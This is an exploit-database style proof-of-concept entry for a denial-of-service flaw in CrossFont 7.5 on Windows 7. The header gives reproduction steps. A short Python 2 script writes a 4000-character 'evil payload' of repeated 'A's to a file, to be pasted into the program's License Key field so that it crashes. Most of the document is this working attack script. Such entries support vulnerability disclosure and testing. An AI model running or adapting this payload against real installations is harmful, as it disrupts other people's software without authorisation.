CrossFont 7.5 - Denial of Service (PoC)

Gionathan Reale 2018-09-26 dos windows_x86
# Exploit Title: CrossFont 7.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-26
# Software Link: http://www.acutesystems.com/cfnt/cfsetup.exe
# Tested Version: 7.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "Enter Key"
# Now paste the contents of "exploit.txt" into the fields:"License Key/Code"
# Click "OK" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 4000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"